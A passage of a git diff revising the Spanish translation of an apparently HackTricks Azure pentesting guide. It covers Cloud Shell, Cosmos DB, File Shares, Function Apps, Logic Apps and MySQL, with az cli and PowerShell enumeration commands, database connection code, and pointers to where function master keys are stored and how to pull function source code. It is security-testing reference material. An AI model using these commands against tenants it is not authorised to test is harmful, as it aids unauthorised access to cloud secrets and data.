-## References +## Referencias - [https://learn.microsoft.com/en-us/azure/active-directory/roles/administrative-units](https://learn.microsoft.com/en-us/azure/active-directory/roles/administrative-units) diff --git a/src/pentesting-cloud/azure-security/az-services/az-cloud-shell.md b/src/pentesting-cloud/azure-security/az-services/az-cloud-shell.md index 20383da3b..e6374a437 100644 --- a/src/pentesting-cloud/azure-security/az-services/az-cloud-shell.md +++ b/src/pentesting-cloud/azure-security/az-services/az-cloud-shell.md @@ -4,28 +4,28 @@ ## Azure Cloud Shell -**Azure Cloud Shell** es un terminal interactivo, autenticado y accesible a través del navegador, diseñado para gestionar recursos de Azure, ofreciendo la flexibilidad de trabajar con Bash o PowerShell. Se ejecuta en un host temporal por sesión que expira después de 20 minutos de inactividad, mientras persiste archivos en la ubicación $HOME utilizando un recurso compartido de archivos de 5 GB. Cloud Shell se puede acceder a través de múltiples puntos, incluyendo el portal de Azure, shell.azure.com, la documentación de Azure CLI y PowerShell, la aplicación móvil de Azure y la extensión de Azure Account de Visual Studio Code. +**Azure Cloud Shell** es un terminal interactivo, autenticado y accesible desde el navegador, diseñado para gestionar recursos de Azure, ofreciendo la flexibilidad de trabajar con Bash o PowerShell. Se ejecuta en un host temporal por sesión que expira después de 20 minutos de inactividad, mientras persiste archivos en la ubicación $HOME utilizando un recurso compartido de archivos de 5 GB. Cloud Shell se puede acceder a través de múltiples puntos, incluyendo el portal de Azure, shell.azure.com, la documentación de Azure CLI y PowerShell, la aplicación móvil de Azure y la extensión de Azure Account de Visual Studio Code. No hay permisos asignados a este servicio, por lo tanto, no hay técnicas de escalada de privilegios. Además, no hay ningún tipo de enumeración. ### Características Clave -**Entorno**: Azure Cloud Shell proporciona un entorno seguro al ejecutarse en Azure Linux, la propia distribución de Linux de Microsoft diseñada para infraestructura en la nube. Todos los paquetes incluidos en el repositorio de Azure Linux son compilados internamente por Microsoft para protegerse contra ataques a la cadena de suministro. +**Entorno**: Azure Cloud Shell proporciona un entorno seguro al ejecutarse en Azure Linux, la propia distribución de Linux de Microsoft diseñada para infraestructura en la nube. Todos los paquetes incluidos en el repositorio de Azure Linux son compilados internamente por Microsoft para protegerse contra ataques de la cadena de suministro. **Herramientas Preinstaladas**: Cloud Shell incluye un conjunto completo de herramientas preinstaladas como Azure CLI, Azure PowerShell, Terraform, Docker CLI, Ansible, Git y editores de texto como vim, nano y emacs. Estas herramientas están listas para usar. Para listar los paquetes y módulos instalados, puedes usar "Get-Module -ListAvailable", "tdnf list" y "pip3 list". **Persistencia de $HOME**: Al iniciar Azure Cloud Shell por primera vez, puedes usarlo con o sin una cuenta de almacenamiento adjunta. Elegir no adjuntar almacenamiento crea una sesión efímera donde los archivos se eliminan al finalizar la sesión. Para persistir archivos entre sesiones, monta una cuenta de almacenamiento, que se adjunta automáticamente como **$HOME\clouddrive**, con tu directorio **$HOME** guardado como un archivo **.img** en Azure File Share. Sin embargo, los archivos fuera de $HOME y los estados de la máquina no se persisten. Para almacenar de forma segura secretos como claves SSH, utiliza Azure Key Vault. -**Unidad de Azure (Azure:)**: PowerShell en Azure Cloud Shell incluye la unidad de Azure (Azure:), que permite una fácil navegación de recursos de Azure como Compute, Network y Storage utilizando comandos similares a los del sistema de archivos. Cambia a la unidad de Azure con cd Azure: y regresa a tu directorio personal con cd ~. Aún puedes usar cmdlets de Azure PowerShell para gestionar recursos desde cualquier unidad. +**Unidad de Azure (Azure:)**: PowerShell en Azure Cloud Shell incluye la unidad de Azure (Azure:), que permite una navegación fácil de los recursos de Azure como Compute, Network y Storage utilizando comandos similares a los del sistema de archivos. Cambia a la unidad de Azure con cd Azure: y regresa a tu directorio personal con cd ~. Aún puedes usar cmdlets de Azure PowerShell para gestionar recursos desde cualquier unidad. **Instalación de Herramientas Personalizadas**: Los usuarios que configuran Cloud Shell con una cuenta de almacenamiento pueden instalar herramientas adicionales que no requieren permisos de root. Esta característica permite una mayor personalización del entorno de Cloud Shell, permitiendo a los usuarios adaptar su configuración a sus necesidades específicas. ## Referencias -* [https://learn.microsoft.com/en-us/azure/cloud-shell/overview](https://learn.microsoft.com/en-us/azure/cloud-shell/overview) -* [https://learn.microsoft.com/en-us/azure/cloud-shell/features](https://learn.microsoft.com/en-us/azure/cloud-shell/features) -* [https://learn.microsoft.com/en-us/azure/cloud-shell/using-the-shell-window](https://learn.microsoft.com/en-us/azure/cloud-shell/using-the-shell-window) +- [https://learn.microsoft.com/en-us/azure/cloud-shell/overview](https://learn.microsoft.com/en-us/azure/cloud-shell/overview) +- [https://learn.microsoft.com/en-us/azure/cloud-shell/features](https://learn.microsoft.com/en-us/azure/cloud-shell/features) +- [https://learn.microsoft.com/en-us/azure/cloud-shell/using-the-shell-window](https://learn.microsoft.com/en-us/azure/cloud-shell/using-the-shell-window) ## Persistencia -{% content-ref url="../az-privilege-escalation/az-cloud-shell-persistence.md" %} -[az-cloud-shell-persistence.md](../az-privilege-escalation/az-cloud-shell-persistence.md) -{% endcontent-ref %} +{{#ref}} +../az-persistence/az-cloud-shell-persistence.md +{{#endref}} {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/azure-security/az-services/az-cosmosDB.md b/src/pentesting-cloud/azure-security/az-services/az-cosmosDB.md index 2a61c6ab9..6696a3338 100644 --- a/src/pentesting-cloud/azure-security/az-services/az-cosmosDB.md +++ b/src/pentesting-cloud/azure-security/az-services/az-cosmosDB.md @@ -8,17 +8,13 @@ Azure Cosmos DB proporciona múltiples APIs de base de datos para modelar datos del mundo real utilizando documentos, modelos de datos relacionales, clave-valor, gráfico y de familia de columnas, siendo estas APIs NoSQL, MongoDB, PostgreSQL, Cassandra, Gremlin y Table. -Un aspecto clave de CosmosDB es la Cuenta de Azure Cosmos. **La Cuenta de Azure Cosmos** actúa como el punto de entrada a las bases de datos. La cuenta determina configuraciones clave como la distribución global, los niveles de consistencia y la API específica que se utilizará, como NoSQL. A través de la cuenta, puedes configurar la replicación global para garantizar que los datos estén disponibles en múltiples regiones para un acceso de baja latencia. Además, puedes elegir un nivel de consistencia que equilibre el rendimiento y la precisión de los datos, con opciones que van desde la consistencia Fuerte hasta la consistencia Eventual. +Un aspecto clave de CosmosDB es la Cuenta de Azure Cosmos. **Cuenta de Azure Cosmos**, actúa como el punto de entrada a las bases de datos. La cuenta determina configuraciones clave como la distribución global, los niveles de consistencia y la API específica que se utilizará, como NoSQL. A través de la cuenta, puedes configurar la replicación global para garantizar que los datos estén disponibles en múltiples regiones para un acceso de baja latencia. Además, puedes elegir un nivel de consistencia que equilibre el rendimiento y la precisión de los datos, con opciones que van desde Consistencia Fuerte hasta Consistencia Eventual. ### NoSQL (sql) La API NoSQL de Azure Cosmos DB es una API basada en documentos que utiliza JSON como su formato de datos. Proporciona una sintaxis de consulta similar a SQL para consultar objetos JSON, lo que la hace adecuada para trabajar con datos estructurados y semi-estructurados. El punto final del servicio es: - -{% code overflow="wrap" %} ```bash https://.documents.azure.com:443/ ``` -{% endcode %} - #### Bases de datos Dentro de una cuenta, puedes crear una o más bases de datos, que sirven como agrupaciones lógicas de contenedores. Una base de datos actúa como un límite para la gestión de recursos y permisos de usuario. Las bases de datos pueden compartir el rendimiento provisionado entre sus contenedores o asignar rendimiento dedicado a contenedores individuales. @@ -27,9 +23,8 @@ La unidad central de almacenamiento de datos es el contenedor, que contiene docu #### Enumeración -{% tabs %} -{% tab title="az cli" %} -{% code overflow="wrap" %} +{{#tabs }} +{{#tab name="az cli" }} ```bash # CosmoDB Account ## List Azure Cosmos DB database accounts. @@ -65,11 +60,9 @@ az cosmosdb sql trigger list --account-name --container-name --container-name --database-name --resource-group ``` -{% endcode %} -{% endtab %} +{{#endtab }} -{% tab title="Az PowerShell" %} -{% code overflow="wrap" %} +{{#tab name="Az Powershell" }} ```bash Get-Command -Module Az.CosmosD @@ -112,14 +105,12 @@ Get-AzCosmosDBSqlTrigger -ResourceGroupName "" -AccountName " # List all user-defined functions (UDFs) in a specific Cosmos DB SQL container. Get-AzCosmosDBSqlUserDefinedFunction -ResourceGroupName "" -AccountName "" -DatabaseName "" -ContainerName "" ``` -{% endcode %} -{% endtab %} -{% endtabs %} +{{#endtab }} +{{#endtabs }} #### Conexión -Para conectar la biblioteca azure-cosmosDB (pip install azure-cosmos) es necesario. Además, el endpoint y la clave son componentes cruciales para realizar la conexión. -{% code overflow="wrap" %} +Para conectar la biblioteca azure-cosmosDB (pip install azure-cosmos) es necesario. Además, el endpoint y la clave son componentes cruciales para establecer la conexión. ```python from azure.cosmos import CosmosClient, PartitionKey @@ -158,11 +149,7 @@ print("All items in the container:") for item in all_items: print(item) ``` -{% endcode %} - -Otra forma de establecer una conexión es usar **DefaultAzureCredential()**. Solo necesitas iniciar sesión (az login) con la cuenta que tiene los permisos y ejecutarlo. Para este caso, se debe realizar una asignación de rol, otorgando los permisos necesarios (ver para más) - -{% code overflow="wrap" %} +Otra forma de establecer una conexión es usar **DefaultAzureCredential()**. Solo necesitas iniciar sesión (az login) con la cuenta que tiene los permisos y ejecutarlo. Para este caso, se debe realizar una asignación de rol, otorgando los permisos necesarios (ver para más). ```python from azure.identity import DefaultAzureCredential from azure.cosmos import CosmosClient @@ -187,17 +174,11 @@ item = { container.create_item(item) print("Document inserted.") ``` -{% endcode %} - ### MongoDB -La API NoSQL de MongoDB es una API basada en documentos que utiliza BSON (Binary JSON) similar a JSON como su formato de datos. Proporciona un lenguaje de consulta con capacidades de agregación, lo que la hace adecuada para trabajar con datos estructurados, semi-estructurados y no estructurados. El punto final del servicio generalmente sigue este formato: - -{% code overflow="wrap" %} +La API NoSQL de MongoDB es una API basada en documentos que utiliza BSON (Binary JSON) similar a JSON como su formato de datos. Proporciona un lenguaje de consulta con capacidades de agregación, lo que la hace adecuada para trabajar con datos estructurados, semi-estructurados y no estructurados. El endpoint del servicio generalmente sigue este formato: ```bash mongodb://:/ ``` -{% endcode %} - #### Bases de datos En MongoDB, puedes crear una o más bases de datos dentro de una instancia. Cada base de datos sirve como un agrupamiento lógico de colecciones y proporciona un límite para la organización y gestión de recursos. Las bases de datos ayudan a separar y gestionar datos lógicamente, como para diferentes aplicaciones o proyectos. @@ -206,9 +187,8 @@ La unidad central de almacenamiento de datos en MongoDB es la colección, que co #### Enumeración -{% tabs %} -{% tab title="az cli" %} -{% code overflow="wrap" %} +{{#tabs }} +{{#tab name="az cli" }} ```bash # CosmoDB Account ## List Azure Cosmos DB database accounts. @@ -235,11 +215,9 @@ az cosmosdb mongodb role definition list --account-name --resource # List all user definitions for MongoDB within an Azure Cosmos DB account az cosmosdb mongodb user definition list --account-name --resource-group ``` -{% endcode %} -{% endtab %} +{{#endtab }} -{% tab title="Az PowerShell" %} -{% code overflow="wrap" %} +{{#tab name="Az Powershell" }} ```bash Get-Command -Module Az.CosmosDB @@ -271,14 +249,12 @@ Get-AzCosmosDBMongoDBDatabaseThroughput -AccountName -ResourceGro Get-AzCosmosDBMongoDBRoleDefinition -AccountName -ResourceGroupName ``` -{% endcode %} -{% endtab %} -{% endtabs %} +{{#endtab }} +{{#endtabs }} #### Conexión Aquí la contraseña que puedes encontrar con las claves o con el método descrito en la sección de privesc. -{% code overflow="wrap" %} ```python from pymongo import MongoClient @@ -311,26 +287,24 @@ document = { result = collection.insert_one(document) print(f"Inserted document with ID: {result.inserted_id}") ``` -{% endcode %} - ## Referencias -* [https://learn.microsoft.com/en-us/azure/cosmos-db/choose-api](https://learn.microsoft.com/en-us/azure/cosmos-db/choose-api) -* [https://learn.microsoft.com/en-us/azure/cosmos-db/](https://learn.microsoft.com/en-us/azure/cosmos-db/) -* [https://learn.microsoft.com/en-us/azure/cosmos-db/introduction](https://learn.microsoft.com/en-us/azure/cosmos-db/introduction) -* [https://learn.microsoft.com/en-us/azure/cosmos-db/nosql/security/how-to-grant-data-plane-role-based-access?tabs=built-in-definition%2Ccsharp&pivots=azure-interface-cli](https://learn.microsoft.com/en-us/azure/cosmos-db/nosql/security/how-to-grant-data-plane-role-based-access?tabs=built-in-definition%2Ccsharp&pivots=azure-interface-cli) +- [https://learn.microsoft.com/en-us/azure/cosmos-db/choose-api](https://learn.microsoft.com/en-us/azure/cosmos-db/choose-api) +- [https://learn.microsoft.com/en-us/azure/cosmos-db/](https://learn.microsoft.com/en-us/azure/cosmos-db/) +- [https://learn.microsoft.com/en-us/azure/cosmos-db/introduction](https://learn.microsoft.com/en-us/azure/cosmos-db/introduction) +- [https://learn.microsoft.com/en-us/azure/cosmos-db/nosql/security/how-to-grant-data-plane-role-based-access?tabs=built-in-definition%2Ccsharp&pivots=azure-interface-cli](https://learn.microsoft.com/en-us/azure/cosmos-db/nosql/security/how-to-grant-data-plane-role-based-access?tabs=built-in-definition%2Ccsharp&pivots=azure-interface-cli) ## Escalación de Privilegios -{% content-ref url="../az-privilege-escalation/az-cosmosDB-privesc.md" %} -[az-cosmosDB-privesc.md](../az-privilege-escalation/az-cosmosDB-privesc.md) -{% endcontent-ref %} +{{#ref}} +../az-privilege-escalation/az-cosmosDB-privesc.md +{{#endref}} ## Post Explotación -{% content-ref url="../az-post-exploitation/az-cosmosDB-post-exploitation.md" %} -[az-cosmosDB-post-exploitation.md](../az-post-exploitation/az-sql-post-exploitation.md) -{% endcontent-ref %} +{{#ref}} +../az-post-exploitation/az-sql-post-exploitation.md +{{#endref}} ## ToDo @@ -338,6 +312,4 @@ print(f"Inserted document with ID: {result.inserted_id}") * Echar un vistazo a la post explotación "Microsoft.DocumentDB/databaseAccounts/mongodbUserDefinitions/write" && "Microsoft.DocumentDB/databaseAccounts/mongodbUserDefinitions/read" y definiciones de roles porque aquí podría haber una escalación de privilegios * Echar un vistazo a las restauraciones - - {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/azure-security/az-services/az-file-shares.md b/src/pentesting-cloud/azure-security/az-services/az-file-shares.md index 0ec91d2ad..f78e56bb8 100644 --- a/src/pentesting-cloud/azure-security/az-services/az-file-shares.md +++ b/src/pentesting-cloud/azure-security/az-services/az-file-shares.md @@ -4,7 +4,7 @@ ## Información Básica -**Azure Files** es un servicio de almacenamiento de archivos en la nube completamente gestionado que proporciona almacenamiento de archivos compartidos accesible a través de los protocolos estándar **SMB (Server Message Block)** y **NFS (Network File System)**. Aunque el protocolo principal utilizado es SMB, los compartidos de archivos de Azure NFS no son compatibles con Windows (según la [**documentación**](https://learn.microsoft.com/en-us/azure/storage/files/files-nfs-protocol)). Permite crear compartidos de archivos en red altamente disponibles que pueden ser accedidos simultáneamente por múltiples máquinas virtuales (VMs) o sistemas locales, lo que permite un intercambio de archivos sin problemas entre entornos. +**Azure Files** es un servicio de almacenamiento de archivos en la nube completamente gestionado que proporciona almacenamiento de archivos compartidos accesible a través de los protocolos estándar **SMB (Server Message Block)** y **NFS (Network File System)**. Aunque el protocolo principal utilizado es SMB, las comparticiones de archivos de Azure NFS no son compatibles con Windows (según la [**documentación**](https://learn.microsoft.com/en-us/azure/storage/files/files-nfs-protocol)). Permite crear comparticiones de archivos en red altamente disponibles que pueden ser accedidas simultáneamente por múltiples máquinas virtuales (VMs) o sistemas locales, lo que permite un intercambio de archivos sin problemas entre entornos. ### Niveles de Acceso @@ -25,13 +25,13 @@ - **Autenticación de AD DS local**: Utiliza credenciales de Active Directory locales sincronizadas con Microsoft Entra ID para acceso basado en identidad. Requiere conectividad de red a AD DS local. - **Autenticación de Microsoft Entra Domain Services**: Aprovecha los Servicios de Dominio de Microsoft Entra (AD basado en la nube) para proporcionar acceso utilizando credenciales de Microsoft Entra. -- **Microsoft Entra Kerberos para Identidades Híbridas**: Permite a los usuarios de Microsoft Entra autenticar compartidos de archivos de Azure a través de Internet utilizando Kerberos. Soporta VMs unidas a Microsoft Entra híbridas o unidas a Microsoft Entra sin requerir conectividad a controladores de dominio locales. Pero no soporta identidades solo en la nube. -- **Autenticación de Kerberos de AD para Clientes Linux**: Permite a los clientes Linux utilizar Kerberos para la autenticación SMB a través de AD DS local o Servicios de Dominio de Microsoft Entra. +- **Microsoft Entra Kerberos para Identidades Híbridas**: Permite a los usuarios de Microsoft Entra autenticar las comparticiones de archivos de Azure a través de Internet utilizando Kerberos. Soporta VMs unidas a Microsoft Entra híbridas o unidas a Microsoft Entra sin requerir conectividad a controladores de dominio locales. Pero no soporta identidades solo en la nube. +- **Autenticación de Kerberos de AD para Clientes de Linux**: Permite a los clientes de Linux utilizar Kerberos para la autenticación SMB a través de AD DS local o Servicios de Dominio de Microsoft Entra. ## Enumeración -{{#tabs}} -{{#tab name="az cli"}} +{{#tabs }} +{{#tab name="az" }} ```bash # Get storage accounts az storage account list #Get the account name from here @@ -58,9 +58,9 @@ az storage file list --account-name --share-name --snapshot # Download snapshot/backup az storage file download-batch -d . --account-name --source --snapshot ``` -{{#endtab}} +{{#endtab }} -{{#tab name="Az PowerShell"}} +{{#tab name="Az Powershell" }} ```bash Get-AzStorageAccount @@ -81,11 +81,11 @@ Get-AzStorageShare -Context (Get-AzStorageAccount -ResourceGroupName "" -Context (New-AzStorageContext -StorageAccountName "" -StorageAccountKey (Get-AzStorageAccountKey -ResourceGroupName "" -Name "" | Select-Object -ExpandProperty Value) -SnapshotTime "") ``` -{{#endtab}} -{{#endtabs}} +{{#endtab }} +{{#endtabs }} > [!NOTE] -> Por defecto, `az` cli utilizará una clave de cuenta para firmar una clave y realizar la acción. Para usar los privilegios del principal de Entra ID, utiliza los parámetros `--auth-mode login --enable-file-backup-request-intent`. +> Por defecto, `az` cli usará una clave de cuenta para firmar una clave y realizar la acción. Para usar los privilegios del principal de Entra ID, utiliza los parámetros `--auth-mode login --enable-file-backup-request-intent`. > [!TIP] > Usa el parámetro `--account-key` para indicar la clave de cuenta a utilizar\ @@ -144,7 +144,7 @@ az-storage.md ## Escalamiento de privilegios -Lo mismo que privesc de almacenamiento: +Igual que el privesc de almacenamiento: {{#ref}} ../az-privilege-escalation/az-storage-privesc.md @@ -158,7 +158,7 @@ Lo mismo que privesc de almacenamiento: ## Persistencia -Lo mismo que persistencia de almacenamiento: +Igual que la persistencia de almacenamiento: {{#ref}} ../az-persistence/az-storage-persistence.md diff --git a/src/pentesting-cloud/azure-security/az-services/az-function-apps.md b/src/pentesting-cloud/azure-security/az-services/az-function-apps.md index 2307be97b..4142e4b25 100644 --- a/src/pentesting-cloud/azure-security/az-services/az-function-apps.md +++ b/src/pentesting-cloud/azure-security/az-services/az-function-apps.md @@ -13,13 +13,13 @@ - **Flex Consumption Plan**: Ofrece **escalado dinámico impulsado por eventos** con precios de pago por uso, añadiendo o eliminando instancias de función según la demanda. Soporta **redes virtuales** y **instancias pre-provisionadas** para reducir los inicios en frío, lo que lo hace adecuado para **cargas de trabajo variables** que no requieren soporte de contenedores. - **Traditional Consumption Plan**: La opción sin servidor predeterminada, donde **solo pagas por los recursos de computación cuando se ejecutan las funciones**. Escala automáticamente según los eventos entrantes e incluye **optimización de inicios en frío**, pero no admite implementaciones de contenedores. Ideal para **cargas de trabajo intermitentes** que requieren escalado automático. -- **Premium Plan**: Diseñado para **rendimiento consistente**, con **trabajadores precalentados** para eliminar los inicios en frío. Ofrece **tiempos de ejecución extendidos, redes virtuales**, y soporta **imágenes de Linux personalizadas**, lo que lo hace perfecto para **aplicaciones críticas** que necesitan alto rendimiento y características avanzadas. -- **Dedicated Plan**: Se ejecuta en máquinas virtuales dedicadas con **facturación predecible** y admite escalado manual o automático. Permite ejecutar múltiples aplicaciones en el mismo plan, proporciona **aislamiento de computación**, y asegura **acceso seguro a la red** a través de App Service Environments, lo que lo hace ideal para **aplicaciones de larga duración** que necesitan asignación de recursos consistente. -- **Container Apps**: Permite desplegar **aplicaciones de función en contenedores** en un entorno gestionado, junto con microservicios y APIs. Soporta bibliotecas personalizadas, migración de aplicaciones heredadas, y **procesamiento GPU**, eliminando la gestión del clúster de Kubernetes. Ideal para **aplicaciones escalables en contenedores impulsadas por eventos**. +- **Premium Plan**: Diseñado para **rendimiento consistente**, con **trabajadores precalentados** para eliminar los inicios en frío. Ofrece **tiempos de ejecución extendidos, redes virtuales** y admite **imágenes de Linux personalizadas**, lo que lo hace perfecto para **aplicaciones críticas** que necesitan alto rendimiento y características avanzadas. +- **Dedicated Plan**: Se ejecuta en máquinas virtuales dedicadas con **facturación predecible** y admite escalado manual o automático. Permite ejecutar múltiples aplicaciones en el mismo plan, proporciona **aislamiento de computación** y asegura **acceso seguro a la red** a través de App Service Environments, lo que lo hace ideal para **aplicaciones de larga duración** que necesitan asignación de recursos consistente. +- **Container Apps**: Permite desplegar **aplicaciones de función en contenedores** en un entorno gestionado, junto con microservicios y APIs. Soporta bibliotecas personalizadas, migración de aplicaciones heredadas y **procesamiento GPU**, eliminando la gestión del clúster de Kubernetes. Ideal para **aplicaciones escalables en contenedores impulsadas por eventos**. ### **Buckets de Almacenamiento** -Al crear una nueva Function App no contenedorizada (pero dando el código para ejecutar), los **códigos y otros datos relacionados con la función se almacenarán en una cuenta de almacenamiento**. Por defecto, la consola web creará una nueva por función para almacenar el código. +Al crear una nueva Function App no contenedorizada (pero proporcionando el código para ejecutar), los **códigos y otros datos relacionados con la función se almacenarán en una cuenta de almacenamiento**. Por defecto, la consola web creará una nueva por función para almacenar el código. Además, al modificar el código dentro del bucket (en los diferentes formatos en que podría estar almacenado), el **código de la aplicación se modificará al nuevo y se ejecutará** la próxima vez que se llame a la función. @@ -30,7 +30,7 @@ Además, al modificar el código dentro del bucket (en los diferentes formatos e También es posible encontrar las **claves maestra y de funciones** almacenadas en la cuenta de almacenamiento en el contenedor **`azure-webjobs-secrets`** dentro de la carpeta **``** en los archivos JSON que puedes encontrar dentro. -Ten en cuenta que las Functions también permiten almacenar el código en una ubicación remota simplemente indicando la URL a la misma. +Ten en cuenta que Functions también permiten almacenar el código en una ubicación remota simplemente indicando la URL a la misma. ### Networking @@ -79,7 +79,7 @@ Ten en cuenta que necesitas encontrar una manera de **verificar todas las Identi Al crear un endpoint dentro de una función usando un **desencadenador HTTP**, es posible indicar el **nivel de autorización de clave de acceso** necesario para activar la función. Hay tres opciones disponibles: - **ANONYMOUS**: **Todos** pueden acceder a la función a través de la URL. -- **FUNCTION**: El endpoint solo es accesible para usuarios que usan una **clave de función, host o maestra**. +- **FUNCTION**: El endpoint solo es accesible para usuarios que utilizan una **clave de función, host o maestra**. - **ADMIN**: El endpoint solo es accesible para usuarios con una **clave maestra**. **Tipo de claves:** @@ -96,15 +96,15 @@ Al crear un endpoint dentro de una función usando un **desencadenador HTTP**, e ### Autenticación Básica -Al igual que en los App Services, las Functions también admiten autenticación básica para conectarse a **SCM** y **FTP** para desplegar código usando un **nombre de usuario y contraseña en una URL** proporcionada por Azure. Más información al respecto en: +Al igual que en App Services, las Functions también admiten autenticación básica para conectarse a **SCM** y **FTP** para desplegar código usando un **nombre de usuario y contraseña en una URL** proporcionada por Azure. Más información al respecto en: {{#ref}} az-app-services.md {{#endref}} -### Despliegues Basados en Github +### Implementaciones Basadas en Github -Cuando se genera una función a partir de un repositorio de Github, la consola web de Azure permite **crear automáticamente un flujo de trabajo de Github en un repositorio específico**, de modo que cada vez que se actualice este repositorio, se actualice el código de la función. De hecho, el yaml de Github Action para una función de python se ve así: +Cuando se genera una función a partir de un repositorio de Github, la consola web de Azure permite **crear automáticamente un flujo de trabajo de Github en un repositorio específico** para que cada vez que se actualice este repositorio, se actualice el código de la función. De hecho, el yaml de Github Action para una función de python se ve así:
@@ -197,7 +197,7 @@ Además, se crea una **Identidad Administrada** para que la Acción de Github de > [!CAUTION] > Por lo tanto, cualquier persona que comprometa ese repositorio podrá comprometer la función y las Identidades Administradas asociadas a ella. -### Despliegues Basados en Contenedores +### Implementaciones Basadas en Contenedores No todos los planes permiten desplegar contenedores, pero para aquellos que sí, la configuración contendrá la URL del contenedor. En la API, la configuración **`linuxFxVersion`** tendrá algo como: `DOCKER|mcr.microsoft.com/...`, mientras que en la consola web, la configuración mostrará los **ajustes de imagen**. @@ -205,9 +205,8 @@ Además, **no se almacenará código fuente en la** cuenta de almacenamiento rel ## Enumeración -{% tabs %} -{% tab title="az cli" %} -{% code overflow="wrap" %} +{{#tabs }} +{{#tab name="az cli" }} ```bash # List all the functions az functionapp list @@ -253,11 +252,9 @@ curl "https://newfuncttest123.azurewebsites.net/admin/vfs/home/site/wwwroot/func # Get source code az rest --url "https://management.azure.com//resourceGroups//providers/Microsoft.Web/sites//hostruntime/admin/vfs/function_app.py?relativePath=1&api-version=2022-03-01" ``` -{% endcode %} -{% endtab %} +{{#endtab }} -{% tab title="Az PowerShell" %} -{% code overflow="wrap" %} +{{#tab name="Az Powershell" }} ```powershell Get-Command -Module Az.Functions @@ -273,9 +270,9 @@ Get-AzFunctionAppPlan -ResourceGroupName -Name # Retrieves the app settings for a specific Azure Function App. Get-AzFunctionAppSetting -Name -ResourceGroupName ``` -{% endcode %} -{% endtab %} -{% endtabs %} +{{#endtab }} +{{#endtabs }} + ## Escalación de Privilegios diff --git a/src/pentesting-cloud/azure-security/az-services/az-logic-apps.md b/src/pentesting-cloud/azure-security/az-services/az-logic-apps.md index 9b143ede8..d9990857e 100644 --- a/src/pentesting-cloud/azure-security/az-services/az-logic-apps.md +++ b/src/pentesting-cloud/azure-security/az-services/az-logic-apps.md @@ -43,9 +43,8 @@ Hay varias opciones de alojamiento: ### Enumeración -{% tabs %} -{% tab title="az cli" %} -{% code overflow="wrap" %} +{{#tabs }} +{{#tab name="az cli" }} ```bash # List az logic workflow list --resource-group @@ -108,11 +107,9 @@ az logicapp show --name --resource-group # List all application settings for a specific Logic App az logicapp config appsettings list --name --resource-group ``` -{% endcode %} -{% endtab %} +{{#endtab }} -{% tab title="Az PowerShell" %} -{% code overflow="wrap" %} +{{#tab name="Az Powershell" }} ```bash Get-Command -Module Az.LogicApp @@ -137,18 +134,15 @@ Get-AzLogicAppTriggerCallbackUrl -ResourceGroupName "" -LName Get-AzLogicAppTriggerHistory -ResourceGroupName "" -Name "" -TriggerName "" ``` -{% endcode %} -{% endtab %} -{% endtabs %} - - +{{#endtab }} +{{#endtabs }} ### Cuentas de Integración **Cuentas de Integración**, son una característica de Azure Logic Apps. Las Cuentas de Integración se utilizan para facilitar integraciones a nivel empresarial al habilitar capacidades avanzadas de B2B, como EDI, AS2 y gestión de esquemas XML. Las Cuentas de Integración son un contenedor en Azure que almacena los siguientes artefactos utilizados para Logic Apps: * Esquemas: Gestionar esquemas XML para validar y procesar mensajes en su cuenta de integración. * Mapas: Configurar transformaciones basadas en XSLT para convertir formatos de datos dentro de sus flujos de trabajo de integración. -* Ensamblajes: Gestionar ensamblajes de cuentas de integración para optimizar la lógica y el procesamiento de datos. +* Ensamblajes: Gestionar ensamblajes de la cuenta de integración para optimizar la lógica y el procesamiento de datos. * Certificados: Manejar certificados para cifrar y firmar mensajes, asegurando una comunicación segura. * Socios: Gestionar información de socios comerciales para transacciones B2B, permitiendo integraciones sin problemas. * Acuerdos: Configurar reglas y ajustes para intercambiar datos con socios comerciales (por ejemplo, EDI, AS2). @@ -157,9 +151,8 @@ Get-AzLogicAppTriggerHistory -ResourceGroupName "" -Name " @@ -219,11 +212,9 @@ az logic integration-account assembly show \ ``` -{% endcode %} -{% endtab %} +{{#endtab }} -{% tab title="Az PowerShell" %} -{% code overflow="wrap" %} +{{#tab name="Az Powershell" }} ```powershell Get-Command -Module Az.LogicApp @@ -254,23 +245,22 @@ Get-AzIntegrationAccountPartner -ResourceGroupName -Integr # Retrieve details of a specific schema in an integration account Get-AzIntegrationAccountSchema -ResourceGroupName -IntegrationAccountName -Name ``` -{% endcode %} -{% endtab %} -{% endtabs %} +{{#endtab }} +{{#endtabs }} ## Escalación de Privilegios -Lo mismo que la escalación de privilegios de las aplicaciones lógicas: +Igual que la escalación de privilegios de las aplicaciones lógicas: -{% content-ref url="../az-privilege-escalation/az-logic-apps-privesc.md" %} -[az-logic-apps-privesc.md](../az-privilege-escalation/az-logic-apps-privesc.md) -{% endcontent-ref %} +{{#ref}} +../az-privilege-escalation/az-logic-apps-privesc.md +{{#endref}} ## Post Explotación -{% content-ref url="../az-post-exploitation/az-logic-apps-post-exploitation.md" %} -[az-logic-apps-post-exploitation.md](../az-post-exploitation/az-logic-apps-post-exploitation.md) -{% endcontent-ref %} +{{#ref}} +../az-post-exploitation/az-logic-apps-post-exploitation.md +{{#endref}} {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/azure-security/az-services/az-mysql.md b/src/pentesting-cloud/azure-security/az-services/az-mysql.md index c3f49d70b..ada0c1f7a 100644 --- a/src/pentesting-cloud/azure-security/az-services/az-mysql.md +++ b/src/pentesting-cloud/azure-security/az-services/az-mysql.md @@ -1,4 +1,4 @@ -# Az - Bases de datos MySQL +# Az - Bases de Datos MySQL {{#include ../../../banners/hacktricks-training.md}} @@ -23,9 +23,8 @@ Azure Database for MySQL es un servicio de base de datos relacional completament ### Enumeración -{% tabs %} -{% tab title="az cli" %} -{% code overflow="wrap" %} +{{#tabs }} +{{#tab name="az cli" }} ```bash # List all flexible-servers az mysql flexible-server db list --resource-group @@ -55,11 +54,9 @@ az mysql flexible-server maintenance list --resource-group az mysql flexible-server server-logs list --resource-group --server-name ``` -{% endcode %} -{% endtab %} +{{#endtab }} -{% tab title="Az PowerShell" %} -{% code overflow="wrap" %} +{{#tab name="Az Powershell" }} ```bash Get-Command -Module Az.MySql @@ -95,15 +92,12 @@ Get-AzMySqlFlexibleServerMaintenanceWindow -ResourceGroupName -ServerName ``` -{% endcode %} -{% endtab %} -{% endtabs %} +{{#endtab }} +{{#endtabs }} ### Conexión Con la extensión rdbms-connect puedes acceder a la base de datos con: - -{% code overflow="wrap" %} ```bash az mysql flexible-server connect -n -u -p --interactive @@ -116,17 +110,11 @@ az mysql flexible-server 